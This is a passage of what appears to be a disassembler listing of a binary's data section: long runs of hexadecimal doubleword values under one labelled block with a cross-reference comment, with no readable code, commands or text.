		dd 222B6074h, 0C111CD18h, 0C4E9BF10h, 6D005B71h, 0C6EF99F0h
		dd 6F62990h, 0A3C06E96h, 0DC294815h, 8891B837h,	742C360Fh
		dd 0BFACD1B3h, 44C107D8h, 4F2A574Eh, 60E17574h,	0E08FABADh
		dd 0DD12FDA3h, 94D0D1E8h, 0C2FB47h, 71493D66h, 9E12CC98h
		dd 0EF154E02h, 54D146CDh, 429FF0h, 0A031BD81h, 0BE029B7Eh
		dd 408D4CEDh, 9F70C0E9h, 79FA0789h, 10462B3Ah, 958A1510h
		dd 965349C3h, 24E5CCDAh, 40F86420h, 0F02A5983h,	0A0A36CAEh
		dd 0C0E8D858h, 44357D50h, 30840103h, 2C344972h,	1664384Ch
		dd 2C0480DAh, 0DD006BD4h, 3306A615h, 3A4F6D00h,	0E3634C76h
		dd 0AB640452h, 0C28E720Fh, 50F97E98h, 0DA04CCA1h, 40E141A7h
		dd 88BDA420h, 71208FD8h, 68F025AEh, 3860F442h, 0FA8894D2h
		dd 10E498B3h, 1DC11851h, 5B93A91Dh, 22048512h, 44AACB9Fh
		dd 13A50C4h, 66D305D7h,	0A024363Ah, 9C64FA58h, 0F5FE04F8h
		dd 0E0C93013h, 957D6830h, 7409D043h, 19AB768h, 414374F0h
		dd 16E97020h, 0DBCC0882h, 97C08034h, 903816Ah, 41EC87F1h
		dd 83EF4405h, 0ACAB3Ch,	0A3D44A4Fh, 14BE4Bh, 97893AC9h
		dd 0FCB19237h, 21CCD9B8h, 0AF30086Fh, 2149929Dh, 88E456FAh
		dd 0B7641008h, 5BC628E4h, 50CC30DDh, 4C629AE9h,	0F9B1C5FCh
		dd 202D1D4Ch, 3405DB09h, 21387A92h, 0B3093528h,	6BBC99AEh
		dd 6E629410h, 0C72AA5F0h, 3C4510BEh, 0F1809820h, 998C2058h
		dd 80ED91DCh, 0F1E95247h, 589CB61Ch, 521D3F2Dh,	934FAB44h
		dd 942323E9h, 0B8A4CA41h, 8266F36Ch, 53BDEC8Fh,	1C1004DDh
		dd 0E834CC40h, 0A0BC589Ah, 842F01DCh, 0B40D23D9h, 7C6C736Fh
		dd 4E528D00h, 0F5857489h, 0E9A63959h, 0D0B0E894h, 3187E082h
		dd 462B54D8h, 2D88F82Eh, 41399FE5h, 0ED9A2C4Ch,	0CA288891h
		dd 41A96486h, 3197794Dh, 88821C6Ch, 70B1785h, 3E98C0E0h
		dd 0C39B009h, 444DCC10h, 202A2490h, 0CF248C57h,	250A871h
		dd 3A6980FFh, 0DB6DE012h, 98EE400Bh, 71A84480h,	70AB6159h
		dd 41F0EABDh, 103818B8h, 1E399ED4h, 12EDDE02h, 60EC23E1h
		dd 639B21DCh, 34123618h, 80849A88h, 2CC864CBh, 0B45021C7h
		dd 29BF41Fh, 0FF234078h, 50E0FBA3h, 0EFFE52A6h,	0F407FCACh
		dd 233445A5h, 58016438h, 1EAAA5D4h, 0DB9660h, 2CFC792Bh
		dd 0E548DD31h, 9DFA384h, 0EC37EE59h, 999524F0h,	542169DCh
		dd 3D04F03Dh, 0A4AAE002h, 4B8AC650h, 1D40A4B8h,	7F59C3E4h
		dd 3009034Fh, 60E09ADCh
		dd 803AE808h, 0F4BE6946h, 1465Eh, 0D035A992h, 1F9B50D5h
		dd 40ECCB16h, 0FF7113FEh, 40B1D1F2h, 8021F000h,	1E27D923h
		dd 4549365Ah, 904C5EEAh, 86044D68h, 0CDB02A7Dh,	99C052Fh
		dd 1D708B30h, 872E114Ch, 0D4120950h, 6488A0B7h,	0B3E6A81h
		dd 0B997CF85h, 5F5D882h, 3A3B4700h, 8C60516Fh, 30097C1h
		dd 0D8B4D449h, 0DA7FD180h, 1C831C5h, 0D7BB6A12h, 34DC23A5h
		dd 750449D8h, 2D063564h, 0A0BCCCA8h, 1FC3008Ch,	0FC7AD571h
		dd 0DB3D2CD9h, 4C90A6DDh, 194B03BDh, 7C6543FAh,	0F8C005E9h
		dd 0B4CEF382h, 360EDF10h, 7E488CDh, 0DB25A442h,	0D74650C0h
		dd 14192CEAh, 0F48A12F1h, 0D4486350h, 0D84902A4h, 800661A7h
		dd 0B487EE88h, 8C5C9E3Eh, 15FEA9FAh, 88BAD073h,	58290612h
		dd 3520BC04h, 0AE50ED02h, 0AC79D4F1h, 0E327FB18h, 0FAA0207Bh
		dd 0EBA714h, 0DD4E3742h, 0B924D8E0h, 2F24F14Ch,	62C4AF64h
		dd 79F35019h, 805C1800h, 50F1453h, 200794E6h, 81B004F3h
		dd 0D98C001Fh, 638B5D37h, 2025B97h, 0C1E04426h,	0BC4861E7h
		dd 957396DCh, 9B91D417h, 0B3D1F582h, 5CC2C4A1h,	668BFC98h
		dd 0C70BE6E4h, 0A009AFBAh, 8681280h, 91949C40h,	0ABE9875Ch
		dd 31CD38A2h, 0F1FE10AAh, 187A03ABh, 0D49F900Dh, 0E862E0D0h
		dd 0F68BC501h, 53821A39h, 6F25832h, 0E720D30h, 8C493991h
		dd 0C8CF6565h, 20003F14h, 30D1EC1Eh, 1054370h, 5B63FF17h
		dd 0DC6D8310h, 6009FC65h, 74599053h, 26634088h,	1201CE72h
		dd 341D91FFh, 0E86344C3h, 9830A1A2h, 0B1810080h, 0B2285A32h
		dd 0B44F4DA7h, 0DC7CC893h, 49FE811h, 8843C487h,	5602C818h
		dd 0D3D649BBh, 25A890C6h, 0A7530001h, 55719F11h, 170A2C0Ah
		dd 14F329EDh, 0AFCE4780h, 0B235BAh, 0C044720Ch,	0A08D8CD5h
		dd 4A884549h, 13AF6C20h, 697900C9h, 0F86A2E02h,	953B9181h
		dd 2CFA8B58h, 21BC029Dh, 50045FFBh, 0B844E9AEh,	56C3CC6h
		dd 0D8383C05h, 60E49049h, 641C4D7Ch, 0B2965F57h, 0F33C88h
		dd 99B93B2Eh, 301227E7h, 9D0206F6h, 0C1DF90AFh,	9EC85602h
		dd 0DC318CB2h, 374FF0A0h, 6B3AC490h, 10AB0064h,	0FF24749Eh
		dd 30511301h, 0BCA06810h, 9B2C8CACh, 14165005h,	0E1A7F849h
		dd 0AEED4D0h, 5DB0E2Ch,	2010AD0Dh, 6841D864h, 0C1AE1C0h
		dd 0B6D16997h, 8D3CC8E9h, 4A218B99h, 3829005Dh,	4F6324B1h
		dd 0DDCC80C7h, 0C009F77h, 0D893A310h, 2A15D0C4h, 80885230h
		dd 9C0C25A8h, 0D64840E8h, 4C252C13h, 2378223Ah,	0AC7518CCh
		dd 188349Eh, 52436081h,	3C5FF1EDh, 129382Ch, 0FACA523Bh
		dd 859822F8h, 6A424CE0h, 0C1E2E4A8h, 6204047Ah,	7815D669h
		dd 11FAE4D1h, 4F7B107Dh, 53AC4405h, 0B824AD92h,	935B0EC8h
		dd 97E010C4h, 5133BF95h, 0E958AC48h, 7C3131EAh,	7F44DE6Ch
		dd 0D8026088h, 78E8E587h, 0C625BB64h, 672098D7h, 296900FDh
		dd 1BC0EF52h, 9F488D92h, 73C8000Ch, 0D94887B7h,	2C3C1033h
		dd 1E593971h, 0F5C497C3h, 4CF888F3h, 44E22E80h,	0F70078F1h
		dd 98245BB8h, 1F9A2A69h, 46E15134h, 98611C87h, 0EDDBE905h
		dd 0A45EA913h, 91D8176Fh, 58748134h, 222BB414h,	2B668Ch
		dd 0D7E0BC98h, 8DD4D3Dh, 8B1DAA07h, 0CED81778h,	0D04804C9h
		dd 189C2E24h, 0E2D1159Dh, 396C1004h, 2208AC6Bh,	70616994h
		dd 0A51E10F3h, 0AEA610C7h, 0DC3F5790h, 1284F2FFh, 4697039h
		dd 25A92764h, 9CB228A2h, 0F8AE6630h, 0BC58019Ah, 0B58812C5h
		dd 8DB82CACh, 0F9308959h, 0DDE00151h, 282CAA2Eh, 1DB03C93h
		dd 0DEC353A3h, 9D90FEDh, 5F39FAC8h, 0E82040C4h,	30D148E4h
		dd 34C27580h, 0A00025AAh, 0C8D43BA2h, 7B927CEh,	5C084E6Bh
		dd 0B28C7226h, 944949EAh, 70602E6Fh, 25570BEh, 0DE5D022h
		dd 0A8E1B9CBh, 0DC80CC5Eh, 0B8C81D29h, 596C4309h, 189F792Ch
		dd 0CC9B480Bh, 0FACE2B0Bh, 3B5A1820h, 620098A5h, 10BDE95h
		dd 22CC36Dh, 0C7138002h, 0C7897034h, 2BE40003h,	75E65100h
		dd 2217CE80h, 5DB02C3Ah, 0DAB0BC28h, 0DC6C3359h, 0AC2BBD26h
		dd 842C3685h, 0E304ECACh, 18C028ACh, 819F0C18h,	8407A7Bh
		dd 0F5F665B0h, 0E0BF2C23h, 7E2F02FAh, 0DC716761h, 91E97601h
		dd 26E5488h, 66511288h,	2ED2F48Ah, 7CBB8254h, 59C07EE4h
		dd 0AC4E10DFh, 0C200EC7Ah, 0BAF02831h, 0B605B12Eh, 8C32C376h
		dd 18E3B6C4h, 4C309BE2h, 20809293h, 0E825A8E1h,	44C0F8A0h
		dd 0FA0C63A7h, 0E81A1117h, 66F5806Bh, 793C5982h, 0E961827h
		dd 0FC16B08h, 31A64180h, 802D13E8h, 47306170h, 8E08402Ah
		dd 835437F8h, 1345F13Ch, 14C9E659h, 0AAE4602Ah,	57EDA9Eh
		dd 2C0ED49Eh, 7DBEA0A2h, 0D66990F1h, 68900429h,	7B1D1C42h
		dd 5AE71937h, 3080F1F4h, 3F54B26Bh, 96001F66h, 6025C1A1h
		dd 880A4443h, 0B8EA33C6h, 5D6982Eh, 9603BF18h, 0BCE8B880h
		dd 0D2078C82h, 0AE1D3476h, 0DD091C1h, 2C5438D0h, 93002CE0h
		dd 0D1C4D2EFh, 9901E4E4h, 4AD2BDCDh, 0F3F063A7h, 0CC0B03ECh
		dd 4F6FFCB1h, 45E247E0h, 6869987Ch, 0C6248070h,	9F5CDE7Eh
		dd 8C6A3485h, 8B5A814Ch, 0BBF0A045h, 0E8D1ECC2h, 9CE9CEA4h
		dd 10652720h, 188F04E2h, 64C02287h, 59FEDA12h, 0A0A89CE8h
		dd 47B200E8h, 39EB0973h, 36489C60h, 0FA6880C0h,	8066BC3Bh
		dd 646F7E92h, 0B0380239h, 24BC7C59h, 0A80B4EF8h, 306DC449h
		dd 0E340A074h, 6287032Eh, 4A132D94h, 0BA4D4002h, 4092A0EBh
		dd 8095BE8Ch, 86021052h, 9038D750h, 2D14FEE5h, 2C1028E6h
		dd 0D7019C04h, 0EE38C8A5h, 0BC542C66h, 0F8E43FDh, 54E5ABAh
		dd 0EC20D0CFh, 0F91BC4h, 29795C3Ch, 56ECCA2Ch, 0F8AB3A07h
		dd 5F54FA4Bh, 7884FCA8h, 136415E0h, 9C16F0E7h, 0C8658CF3h
		dd 0CE944745h, 4F187C3Fh, 80713A29h, 8F51EA05h,	823F03Eh
		dd 98597100h, 0B8701007h, 0BA8A3C12h, 2CD4C84Bh, 0F3BEC207h
		dd 0DED0915Ch, 0B79010Fh, 0F8FDA5D6h, 1D9E859h,	0E6021B18h
		dd 0D3DBCDACh, 90306897h, 0D8D12FAFh, 4DA180Bh,	429FA44h
		dd 37F1FE82h, 9F0AC90h,	916E7298h, 0E5D036F0h, 3DB2407Eh
		dd 9BF920B9h, 84B78018h, 0D0102EB0h, 7F59310h, 99EC2E6h
		dd 0DC984A11h, 48957024h, 60095440h, 94C83094h,	6B0A134Eh
		dd 245B1088h, 0C011A509h, 4D98C318h, 0A45884CAh, 64AEE010h
		dd 0F3095D48h, 0B250418h, 9289DC9Ch, 6F746716h,	55E581B1h
		dd 40FA4686h, 0AA13D110h, 0DCA05CCCh, 3821E300h, 62AE6E6Dh
		dd 4EE501C3h, 0BF9E7610h, 0A24863EEh, 89453031h, 0C692C009h
		dd 0CF9849DEh, 0D400E839h, 0F930D583h, 7300E41Ch, 0C1EB0F3Eh
		dd 4F9B80A4h, 3C6E57h, 7B5B39C6h, 9728179h, 8EE9E85Ch
		dd 0BC273085h, 8C08F824h, 4B29A100h, 6EDA36E2h,	55EB1222h
		dd 0B0500AD8h, 0FA3702E8h, 0E4E79A7Fh, 0B460A044h, 8E001F88h
		dd 0CC5AAEFCh, 13629721h, 0F1027A67h, 882C0BA8h, 0F20CFA1h
		dd 588DED0h, 97F68725h,	812D9138h, 732778B5h, 4C5A42CCh
		dd 7451FC33h, 6708C86Ch, 4A031896h, 0D02BB9AEh,	4AD015D7h
		dd 0BFAC088Fh, 2FD380B8h, 0DB051089h, 0E630029h, 44A277C0h
		dd 107BCBFh, 0EA4349E9h, 1E4F939h, 0A88B1D3Bh, 0EDD7FCC0h
		dd 2F58651Fh, 0C4043912h, 12013F0Eh, 80F88538h,	0A0874788h
		dd 1E3DEB2Eh, 0C0BDD8D4h, 0CFF7F1AEh, 4C3B377Eh, 0BCFA1BF4h
		dd 3326D0A8h, 8616026Dh, 77DE0A54h, 6C260051h, 0EB1F0B00h
		dd 0BE5F6467h, 0CC6C922Ch
		dd 0BD2FDD34h, 388800A9h, 5F118E3Ch, 37B083FDh,	0F92A05C7h
		dd 13713CB8h, 0D0A38AECh, 540DDD04h, 4C3601B8h,	598B3922h
		dd 0C87033B5h, 0A54EDE04h, 2CF9A992h, 0AC0114B8h, 0D85D7F16h
		dd 0F03C91AFh, 1C67E804h, 8850A844h, 5C946AE2h,	5000246h
		dd 0F11843D6h, 88955C7Fh, 2F00E048h, 45AE9666h,	0B184B2ADh
		dd 0F0540040h, 0E8B9D5E6h, 0BA5E509h, 0DF84E8AAh, 0C0AB4052h
		dd 0F502BC7Fh, 7A542E93h, 854F987h, 4D2762C9h, 6F9EC014h
		dd 5233D399h, 9C8780B1h, 1092E421h, 5FE86066h, 58A8442Dh
		dd 1644E239h, 4E3694Ch,	0DA3027B2h, 0B722Bh, 0E52C0223h
		dd 808E3987h, 0A242A42Dh, 0A93A344h, 0A4E825B8h, 85EF903Ah
		dd 2C87F089h, 4A96B4E0h, 23842F73h, 7A6D009Fh, 0F1703F76h
		dd 41B05F25h, 227F7DB4h, 0ACD65BB8h, 8465Eh, 9F425EEh
		dd 24D390D9h, 3B582F4Dh, 88F0712Eh, 9D87ACCFh, 0D3441955h
		dd 20DC40ABh, 7BC97E16h, 24075818h, 0E9F9E70h, 866F9282h
		dd 2FB123Ch, 62538B7Fh,	9818A4D5h, 939CF4h, 0AB5C3EEAh
		dd 0DB65DC50h, 0A8C01700h, 6A37FDE6h, 189D0B1Eh, 0BC64493Ah
		dd 0B1FFBD00h, 5399EBFEh, 52500788h, 5123455Fh,	224B61C1h
		dd 0F2FF122Ch, 0B2816CACh, 40703294h, 0FA045BDFh, 9A80DF15h
		dd 0A16800B4h, 76BA046h, 0B9A6000Fh, 0AC24101h,	0CA021F69h
		dd 2212284Bh, 0C50E604Ch, 71E7E243h, 96A209F0h,	0DC2FA18Eh
		dd 5456C92Bh, 20BC5164h, 38C83B8h, 0CA73FAC3h, 54B81124h
		dd 0BC12642Bh, 4CD0D6C6h, 127E634Dh, 2C41318h, 0AC2D94B0h
		dd 4A59725h, 4FB2F4h, 5D08D3A4h, 0B62D7C0Ah, 5B0CE400h
		dd 67FAE946h, 723A3A52h, 74D4BC24h, 9800B446h, 42B216F7h
		dd 0D20039C2h, 0D8E42A7Eh, 13C31B1h, 22B96355h,	3AEEFB33h
		dd 380CAC02h, 0B58F2CFh, 0CD1603ABh, 13F52280h,	2748A860h
		dd 84E83E98h, 31945F67h, 61B0AC92h, 9469C0B8h, 0E398817Eh
		dd 0A46AF101h, 0F02E33C5h, 980C4FAh, 0D0AB6F3Ah, 7B009C5Ah
		dd 0FE29FA49h, 9CCFEDDBh, 44312A0h, 0B138DDCh, 3BEC3751h
		dd 50F68500h, 0C64A8223h, 0B5DC9100h, 15EB588Dh, 309D978Fh
		dd 608EFF88h, 0DD90756Ch, 0E010052Ch, 0BD6F89h,	0F22A6604h
		dd 0BE2F28F1h, 0B1B02678h, 0A0E88BE8h, 411C2025h, 4E4C14ECh
		dd 0F8D82B39h, 8C2F4B94h, 23A7B2Ch, 27E2D56h, 1A8E848h
		dd 0CCB91AC0h, 87262E8Dh, 0F414F465h, 0E0DE161Ch, 2CE3AC05h
		dd 0E20034A6h, 0F5C20FDFh, 1C02B4A3h, 3BE40B3Ah, 8C4086Eh
		dd 4F1FBC7Fh, 63169981h, 2C203729h, 7ED83EFFh, 0AAE8B0D8h
		dd 14BE1D8Ch, 3D688F71h, 4A4F2060h, 330A75AAh, 848C024Ch
		dd 37FA59E1h, 0CC009DEh, 7B2DE9C9h, 0F0C0C0DDh,	64C497C6h
		dd 30F2FA4Ah, 7F302EE2h, 68966EF9h, 487B27F1h, 323818h
		dd 0DF60825Ah, 6D0C254Dh, 0EE589B08h, 40C0B0ACh, 79022998h
		dd 3E681573h, 97FC851Fh, 270034F9h, 0ECA1D78h, 9A0B1B7Ch
		dd 821039A3h, 10F5D30h,	75C2D460h, 0E1184174h, 1A9108ACh
		dd 714BEA59h, 8E4F8E5h,	37E4FC60h, 9BB2CE01h, 6F75D0E2h
		dd 0C9DCC438h, 34CB087Fh, 0F8D8EC9Dh, 8A008C30h, 254B4D8h
		dd 4823DFC9h, 8B1028EDh, 22432D91h, 20EC3BE4h, 0AB5BED13h
		dd 543820C1h, 912B3134h, 0BA0C2Ch, 0A43536FAh, 549744D0h
		dd 8F2F373Bh, 0A09FB813h, 0EC9A8AB9h, 66F11360h, 281C1A7Ah
		dd 0AAE0204Dh, 0B8438E61h, 37F40432h, 0E6FA39E0h, 838A7AD8h
		dd 0C9335590h, 506D4697h, 0C60E18ECh, 0E08BE142h, 0E48F889h
		dd 434C00C0h, 494F27E9h, 4174D09Dh, 8A99F600h, 0BB628BC6h
		dd 58180277h, 9B202C14h, 4C1D105Eh, 0A63AA1C5h,	4C4CB8ECh
		dd 607B6525h, 88D16C80h, 0A5E642h, 0C9C1EC84h, 36904826h
		dd 6518FA2Dh, 60AAC49Ch, 0B3EB4h, 55545BB1h, 0D4340E86h
		dd 731F84BCh, 80A25213h, 773006E2h, 63C600B5h, 840B80B4h
		dd 2E24B9E6h, 0FC47087Ch, 8D7F68F0h, 1DA50075h,	0D8A9BEAh
		dd 612704CDh, 91101720h, 5CCD8082h, 0E570AEh, 6ABF3B6Fh
		dd 0E74A4EB4h, 6D3641Dh, 295CA267h, 66100A02h, 0FA2FC128h
		dd 0F5E4200Eh, 91DD5E9h, 0EA507420h, 0AC3C7402h, 0D11374F9h
		dd 8A30A4h, 0A440B191h,	0D4C71903h, 824F132Fh, 229EDF4Ch
		dd 5CF19BF1h, 0BE385031h, 0B4FCD402h, 1D082CA4h, 2FF00706h
		dd 8879C9C8h, 0BA18A7D9h, 6DC02C04h, 98C00F82h,	957A6FAAh
		dd 68BB34A0h, 0F8002BEFh, 0A8770F23h, 4FF6542Dh, 0E89CC86Ch
		dd 0A7E2B1C6h, 1798C1F0h, 8B490FFAh, 0F1618C9h,	89B4890h
		dd 0F080947Bh, 336D213Eh, 4C1900FFh, 601493Bh, 0C494C08Ch
		dd 6F2A64h, 0DAD37497h,	0BB9AE59h, 0EFD4BBF9h, 0B1BD9887h
		dd 0EAD1499Ah, 0FC18A900h, 0C83650F8h, 2059896Ch, 950304D4h
		dd 13E8FF46h, 4CF2A0A6h, 587D3936h, 41B9D498h, 0EB0EA243h
		dd 60669BBBh, 6076DF42h, 0B4F04B41h, 14305990h,	6836A1ABh
		dd 50665CDCh, 0EA01498Eh, 80C0D158h, 2912B951h,	0CFAC88h
		dd 0E3EE8798h, 0C3504F9h, 0F50CC00h, 0E74C47F1h, 5DC002F2h
		dd 4346673Ah, 0E1AF9C51h, 0E254A0h, 653DC9E3h, 4C42F412h
		dd 0B6A0A88Ah, 0F5025A1Fh, 0B4FD3595h, 6D8C81B5h, 71FED648h
		dd 180471A8h, 129FB03Dh, 0AC43AD96h, 809CDDD8h,	0E74C416Fh
		dd 0B4B8EC3Dh, 6CE2BA00h, 7CD792F9h, 0A5E40987h, 80C4FF3Eh
		dd 0E7E14761h, 0BDD04AD6h, 9C8997A7h, 0B6C0A4EDh, 0EA55E1h
		dd 33DCCE61h, 0A83A0E28h, 3AD8B925h, 5EA0FEB8h,	9302A746h
		dd 5ED6BF8Eh, 7904D474h, 30A0E590h, 0F0D144DFh
dword_4E414C	dd 3D548713h, 0D941E890h, 0BE2184C0h, 182EF166h, 1A5F257Fh
					; DATA XREF: ___:off_43ACE4o
		dd 4578A0E6h, 0B0914C20h, 0DA253EACh, 360A2579h, 2CD96C51h
		dd 70008518h, 422928E7h, 1DD40314h, 188069E8h, 8310D83Ah
		dd 9E0F2EB0h, 12FA463Bh, 7D1700B2h, 0CA964h, 3494560Fh
		dd 9A38FE4Ch, 0AB172F48h, 4C03BC3Dh, 0C08871h, 0B0E3FF89h
		dd 0FA5E4AEEh, 10C84548h, 6E060265h, 285DE860h,	667C0C84h
		dd 0C8298B8h, 0E5C07C90h, 941D13Fh, 500798A5h, 65DA26ACh
		dd 0C99005ECh, 706CA40Ch, 0EA1A3C42h, 74F3F134h, 0F853F070h
		dd 0D40B2F11h, 0F8929848h, 939E7E24h, 0FD991700h, 9B71B601h
		dd 53520BD4h, 0C059F853h, 3FC31DC0h, 74A71419h,	0F807053h
		dd 97C4CC1Fh, 0FD39D27Ah, 4A630074h, 0C650BDA8h, 0D0419513h
		dd 82C02CE5h, 0F3396DCh, 0D533700h, 9800A19Bh, 0C8C67F5Ch
		dd 996D2CEh, 0EDA4CF4Ah, 0F017687Ch, 884B70ADh,	0D600FE34h
		dd 0F1129F7Ch, 0FA0BB3Bh, 0BDC1F55Dh, 0A466E700h, 697DDD9h
		dd 57160E0h, 3B16808Ah,	0E44EEB5Bh, 7BD0C447h, 0E8CA90F4h
		dd 0D913CF6h, 1ED9AC80h, 0DB23213Dh, 0DD7E4700h, 2EF88130h
		dd 2F414B46h, 0FAE23D4h, 37C1DE5Eh, 0F06F3A4Fh,	355FB85Fh
		dd 0AAC834CEh, 13E2A0C0h, 0A7CD0FBCh, 2C22D12Eh, 39F76DE0h
		dd 0ACC5344Ch, 0CE8C942Fh, 8E10DC08h, 0C5EAD2C1h, 0CCC2AD7h
		dd 49574028h, 1AAE4B00h, 0CBEDDBFFh, 4494BADAh,	9B4CA5C6h
		dd 69250096h, 5510791Ch, 9BB7D93h, 8F647C42h, 467C9074h
		dd 2573EAEh, 98499EBAh,	0E7F8A058h, 97065Eh, 370F1219h
		dd 3507AB9Dh, 92D7A102h, 0F9F10293h, 0FF620920h, 35609C7Ah
		dd 0B08866E1h, 0D4388145h, 49DF9F1h, 0A652E64Ch, 0AA83E0FCh
		dd 5DCB94Ch, 0B3C1A459h, 105624B4h, 1D396080h, 0BD76718Bh
		dd 3436D8C0h, 1E94684Dh, 54CE5C18h, 0F895BBh, 3312FC15h
		dd 53616Dh, 0DA1CE844h,	7FB23699h, 0F42F9B07h, 41D5510Bh
		dd 341D3C9Ch, 0E840DDBDh, 44295E0Ch, 250E8C02h,	0CA48F6E8h
		dd 0C411C90h, 892EE85Ch, 6FD4FDACh, 5760B804h, 0B6FA6202h
		dd 128128F1h, 9ABA4A30h, 2964BC15h, 0E88C3844h,	75EDF96Ah
		dd 0C0EABD4Fh, 0B87324C0h, 260CAB80h, 1BBBF03Ah, 0E0BA405Ch
		dd 0ACEE7C81h, 58C42BDBh, 36F860BFh, 575F644Ch,	0C4618472h
		dd 0E8517F5Ch, 208F52D6h, 71FA5CC2h, 0DFEBBD21h, 0DA64C107h
		dd 15188434h, 0E8C26AA6h, 977099E8h, 39E69043h,	0AEAF48E1h
		dd 0FC79609Ah, 0D8E35282h, 706CDB48h, 0AF1E06DEh, 5A40135Eh
		dd 3E2B8B97h, 3A4E00D9h, 0A3365D6Ah, 3B005FF2h,	0B0E5DDEDh
		dd 37388E2h, 0E621CFAEh, 81AB8EE9h, 80DC77F1h, 38449A20h
		dd 1F3239BBh, 87DFD2E7h, 41FF3A76h, 2E4A3DA8h, 6B7DA4D0h
		dd 19720FA2h, 0D100A6EBh, 0A092457Eh, 0F6F25E00h, 681FA75Dh
		dd 46A91CDCh, 746145E9h, 2C6CC151h, 0D8B8D46Ah,	0E659B717h
		dd 601010F3h, 0A9DD0199h, 6942D6D3h, 0ECC88A6Ah, 65DCA0BDh
		dd 7A08C430h, 456D0429h, 4494B04h, 8E047087h, 93B70486h
		dd 9B064803h, 21A306E7h, 408A3A40h, 7862BF44h, 26B8C08h
		dd 0C0235C8h, 51400232h, 2856C02h, 1302DCD8h, 8297025Eh
		dd 2B50902h, 88023116h,	37A9024Ch, 2997002h, 33025FE5h
		dd 97E60275h, 3C26E02h,	0A9639DC5h, 771014B1h, 0F990F3C0h
		dd 0C0B8107Ch, 10E5D310h, 4E10A575h, 28B51884h,	0C4156308h
		dd 4595C40h, 8D04545Ah,	43FE049Eh, 4E1E704h, 9C0476B6h
		dd 6C3E0668h, 0F1506689h, 6140193Ch, 38F9C442h,	5DF304DAh
		dd 45A3D04h, 0ED04E285h, 79EE04A6h, 31B4D906h, 40729F40h
		dd 246274E0h, 39165B0h,	103112DCh, 0D860C9BFh, 9CA2DE02h
		dd 0F10256F2h, 301E027Dh, 1039F803h, 10B3DD08h,	0AD18361Ch
		dd 9CDC4811h, 80BED380h, 7880837Bh, 19108BB8h, 80103A13h
		dd 88FA5162h, 0D6B2D08h, 11214B87h, 990A19F8h, 9131EF60h
		dd 0B06AC195h, 10E33D10h, 2F10A8EAh, 0DB5F103Fh, 10AC5510h
		dd 0A610BD9Fh, 0BAEC1063h, 62E4F72Ah, 866E51A0h, 80466B05h
		dd 6570257Eh, 4AE7B9A6h, 88AC96E0h, 5C18A4A1h, 0AB6ABFA1h
		dd 0E51937D4h, 66E4451h, 200838D3h, 6262A01Ah, 24AB291h
		dd 0C006DC0Eh, 0B5BB20B9h, 205E7420h, 0B62075C4h, 8D60205Fh
		dd 0D178A236h, 0A55C2061h, 0A789E962h, 378D02BBh, 5DD2F02h
		dd 0CB8C44D7h, 9038069Eh, 13334071h, 0C4E039CAh, 1FD81288h
		dd 912060BAh, 8066F8BFh, 7E8165FEh, 94B2C1B9h, 3E066781h
		dd 0DE831E9h, 1D79340h,	5801716Ah, 0E969B10Ch, 37017988h
		dd 0A2AD0281h, 2A2D59Ch, 0CE0330FCh, 4BD92040h,	51EC8B54h
		dd 0C8501462h, 649F02DAh, 0E0448505h, 320F5C04h, 0DFE510D0h
		dd 2A4DF910h, 0EF09B45Dh, 90D462ACh, 17E3F6A4h,	0F00F2577h
		dd 0E20C7E04h, 10147DAFh, 3CFD00E6h, 349AAAFAh,	8BFEF1EEh
		dd 64F50F4Ah, 244460h, 5DF7E917h, 0DC8E1FAEh, 0DB0CFA01h
		dd 9FADC4DDh, 38C4C87Eh, 0B658E0EBh, 0CFDF3907h, 7047987Fh
		dd 7C375F91h, 288B20E1h, 60486DE6h, 4B69A698h, 6E938540h
		dd 77120C00h, 7CB326Ah,	1DB1CE44h, 7B2EC149h, 0C182E05Fh
		dd 0A02C28C0h, 138F0756h, 0ED46405h, 5038196Ah,	0D5F247EDh
		dd 0BB40A5Ch, 90A3F5F4h, 7C2C3Ch, 9243F78Dh, 0EA5175E3h
		dd 0AC26D48h, 8ADE274h,	0B3E9D406h, 0F47DFD40h,	4FC5B00h
		dd 368A0F96h, 0FD71A1C6h, 1467158h, 12458B65h, 8D346A7Dh
		dd 78685A20h, 0C0F9404h, 99EE81D3h, 0A8884738h,	1204912Dh
		dd 3F806AA5h, 3D69BF7h,	5BABE3F9h, 2DC8CDB2h, 7C1C629Ah
		dd 6CC350BDh, 0AF44D4h,	769B0F38h, 0B0E351AAh, 0F41CE600h
		dd 7A8FA5BDh, 0BB44074Ch, 0FB98EEFh, 97115D20h,	0AD4860EAh
		dd 1D393CB4h, 3E005F67h, 2FD1E662h, 1E94A4EEh, 0C5163CBAh
		dd 407DFE7Bh, 0FF74B9E0h, 0EB00DCE2h, 0D8E43987h, 0F8A25522h
		dd 6FE9001Eh, 5963CE36h, 0D11079B8h, 4A2A0F01h,	0A0DBFE90h
		dd 80EB089Ch, 7007E098h, 634989D1h, 64A36981h, 0E2C86230h
		dd 0D6EF00ABh, 0FCD5E685h, 0D0A6ADDh, 0C820C498h, 0B03E0038h
		dd 0D45EF005h, 1E0CB428h, 209DD817h, 5C68387Bh,	7500C4B8h
		dd 98B71D71h, 0F08C9DCCh, 52076EB0h, 380E2F62h,	0EE05D153h
		dd 97EB0198h, 8FA8E409h, 6D07CCE3h, 0D3803806h,	768AC39h
		dd 0DFBD9C10h, 0CBE60E56h, 0DE0070BCh, 0D166488Eh, 0FAA5EFF4h
		dd 0C3D7813h, 6736D6D4h, 0E4024DA0h, 507C24E9h,	6CE800ADh
		dd 21EEE3BBh, 1753B52Eh, 3A05991Fh, 0C008F40Dh,	0D45F035Eh
		dd 800013D8h, 144CEE1Dh, 543A7A77h, 399D056h, 275DCA61h
		dd 0E8DE5898h, 73D1EF0Ah, 873DC43Ch, 0CA5925BCh, 40853700h
		dd 326300AAh, 462AE826h, 5E7067ACh, 3A9430Fh, 0EFB5C358h
		dd 0BBC2E483h, 0BA0EFD60h, 51D82621h, 696320C7h, 0DE0DF703h
		dd 88E17Bh, 0B645688h, 0FEE4DCF9h, 1CC49000h, 6C39071Fh
		dd 0C9A300E7h, 296A8EADh, 0A903782Ch, 0E3FA75A0h, 0E84DD3D1h
		dd 37E2BB0h, 16318C54h,	0A6C2D43Ch, 5FEC0882h, 5710C055h
		dd 23F6054Eh, 2ED52D1h,	353E45DCh, 0E398C440h, 80500EB5h
		dd 0E5C95673h, 522B01FCh, 0C664C49h, 0CF46F1E4h, 0F0AC8AB1h
		dd 4260ABE2h, 0EE544011h, 18D33E4Ah, 2050C513h,	8B2CD8ACh
		dd 683E4601h, 189077E9h, 7950B2E0h, 98420B7Eh, 0F8D21AFEh
